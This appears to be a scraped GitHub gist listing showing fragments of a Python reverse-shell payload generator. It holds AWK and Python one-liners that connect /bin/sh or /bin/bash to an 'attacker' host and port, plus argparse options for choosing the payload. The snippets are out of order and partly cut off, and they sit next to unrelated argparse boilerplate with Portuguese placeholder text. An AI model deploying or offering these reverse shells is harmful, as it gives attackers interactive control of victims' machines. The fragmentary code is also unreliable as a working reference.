Skip to content

Instantly share code, notes, and snippets.

View firedragon9511's full-sized avatar

jvilla firedragon9511

View GitHub Profile
def format_payload(payload, local_host, local_port):
return payloads[payload].replace('{local_host}', local_host).replace('{local_port}', local_port)
payloads = (
# AWK 0
'''awk 'BEGIN {s = "/inet/tcp/0/{local_host}/{local_port}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null''',
# Python sh 1
'''python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{local_host}",{local_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
''',
# Python bash 2
'''python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{local_host}",{local_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
parser.add_argument('-e', '--payload', dest='payload', action='store', type=int, help='''Payload Types:
0 - AWK
1 - Python sh
2 - Python bash
''', default=1)
parser.add_argument('-p','--port', dest='port', action='store', type=str, help='Attacker local Port address.', default='53')
parser.add_argument('-l','--local', dest='local', action='store', type=str, help='Attacker local Host address.', required=True)
banner = '''
[Cole aqui o banner gerado no link acima]
'''
parser = argparse.ArgumentParser(description=banner, formatter_class=RawTextHelpFormatter)
parser = argparse.ArgumentParser(description='Sua descrição', formatter_class=RawTextHelpFormatter)
@firedragon9511
firedragon9511 / importing_argparse.py
Last active July 6, 2022 19:17
Importing Argparse
import argparse
from argparse import RawTextHelpFormatter